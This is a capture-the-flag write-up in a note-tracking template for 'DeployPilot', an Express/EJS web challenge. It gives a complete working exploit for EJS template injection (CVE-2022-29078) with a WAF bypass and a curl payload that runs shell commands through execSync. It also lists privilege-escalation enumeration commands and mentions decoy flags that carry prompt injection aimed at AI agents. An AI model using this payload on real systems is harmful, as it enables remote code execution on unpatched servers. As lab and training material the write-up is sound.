DeployPilot
DeployPilot
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-01 | Status: Solved Techniques: bracket_notation_rce, ejs_outputfunctionname_ssti, query_param_to_render_options_pollution, waf_bypass_plus_encoding
Summary
Task: Express.js deployment dashboard with EJS templates, /reports/preview endpoint passes query params to res.render() as EJS options. Solution: WAF bypass using + instead of %20, then EJS SSTI via outputFunctionName option (CVE-2022-29078) to achieve RCE and read /root/flag.txt.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260501_hackadvisor_deploypilot - Tags: waf_bypass, rce, ssti, nodejs, ejs, express, template_injection, cve_2022_29078
- Indicators: Express.js + EJS stack (X-Powered-By: Express), query parameters passed directly to res.render(), report preview endpoint with user-controlled template options, EJS version < 3.1.7 (unpatched CVE-2022-29078), WAF blocking standard URL encoding but allowing + for space
- Source:
20260501_hackadvisor_deploypilot.md
Foothold
Vulnerability / Misconfiguration
- Bracket_notation_rce
- Ejs_outputfunctionname_ssti
- Query_param_to_render_options_pollution
- Waf_bypass_plus_encoding
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- bracket_notation_rce
- ejs_outputfunctionname_ssti
- query_param_to_render_options_pollution
- waf_bypass_plus_encoding
- Tags: waf_bypass, rce, ssti, nodejs, ejs, express, template_injection, cve_2022_29078
Original Writeup
<details><summary>Click to expand original content</summary>Description
DeployPilot is a deployment monitoring dashboard built by NimbusOps Inc. It provides teams with real-time visibility into their deployment pipelines, server health metrics, and release history. The platform features customizable status reports, team management, and notification settings.
As a security researcher, you've been given access to a running instance of DeployPilot. Your task is to explore the application and find a vulnerability that allows you to read sensitive files from the server.
Credentials: user@test.com / password123
Hint: The application uses EJS templates for rendering pages. Some endpoints accept user input that influences how templates are rendered. Pay attention to how query parameters are processed on report-related pages.
English summary: Express.js web application with EJS templates serving as a deployment monitoring dashboard. The goal is to find a vulnerability leading to RCE and read the flag from the server filesystem.
Analysis
Reconnaissance
The target is an Express.js application with EJS templates (identified via X-Powered-By: Express header, nginx/1.25.5 reverse proxy). After logging in with provided credentials via POST /login, the application exposes several pages: /, /deployments, /servers, /reports, /team, /settings.
The /reports page contains a form that submits to GET /reports/preview with query parameters: title, range, theme, sections. The title parameter is reflected in the rendered page in 3 places (page title, h4, h3).
Important: The HTML source contains decoy/honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) with prompt injection text designed to trick automated scanners and AI agents. These are fake.
Confirming Query Params → EJS Options
Setting delimiter=X as a query parameter caused the raw EJS template source to leak in the response instead of rendered HTML. This confirmed that all query parameters are passed directly to res.render() and forwarded to EJS as template options — the core vulnerability.
EJS Version Detection
The EJS version is < 3.1.7 (unpatched CVE-2022-29078). This was confirmed by observing that outputFunctionName=x;y returns HTTP 200 (valid JS: var x;y = __append;), while outputFunctionName=x.y returns HTTP 500 (invalid JS: var x.y = __append;). In EJS 3.1.7+, both would be rejected by a regex check that validates outputFunctionName as a valid JS identifier.
WAF Discovery and Bypass
The standard EJS SSTI payload uses settings[view options][outputFunctionName] to inject EJS options through Express's view settings. The application's WAF blocks settings[view%20options] (with URL-encoded space %20).
However, using settings[view+options] (with + instead of %20 for space) bypasses the WAF. Express's qs query string parser decodes both %20 and + as spaces identically, so the parameter reaches EJS correctly despite the WAF bypass.
Solution
Step 1: Understand the outputFunctionName Injection
The outputFunctionName value is inserted directly into the compiled EJS template function as:
var PAYLOAD = __append;
By setting outputFunctionName to x;CODE;var z, the compiled function becomes:
var x;CODE;var z = __append;
This allows arbitrary JavaScript execution within the template compilation.
Step 2: Craft the RCE Payload
Key constraints and techniques:
- Bracket notation is required:
process['mainModule']instead ofprocess.mainModule, because dots cause JavaScript syntax errors invardeclarations (var x.yis invalid) __output+=appends command output directly to the HTTP response body+WAF bypass forsettings[view options]
Step 3: Execute the Exploit
# Final RCE payload (CVE-2022-29078 + WAF bypass) curl -b 'session=<cookie>' \ 'https://TARGET/reports/preview?title=test&settings[view+options][outputFunctionName]=x;__output+=process[%27mainModule%27][%27require%27](%27child_process%27)[%27execSync%27](%27cat%20/root/flag.txt%27);var%20z'
The compiled template function becomes:
var x;__output+=process['mainModule']['require']('child_process')['execSync']('cat /root/flag.txt');var z = __append;
This executes cat /root/flag.txt on the server (running as root, uid=0) and appends the flag content to the HTTP response.
URL-encoded form of the final exploit:
/reports/preview?title=test&settings%5Bview+options%5D%5BoutputFunctionName%5D=x%3B__output%2B%3Dprocess%5B'mainModule'%5D%5B'require'%5D('child_process')%5B'execSync'%5D('cat+/root/flag.txt')%3Bvar+z
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR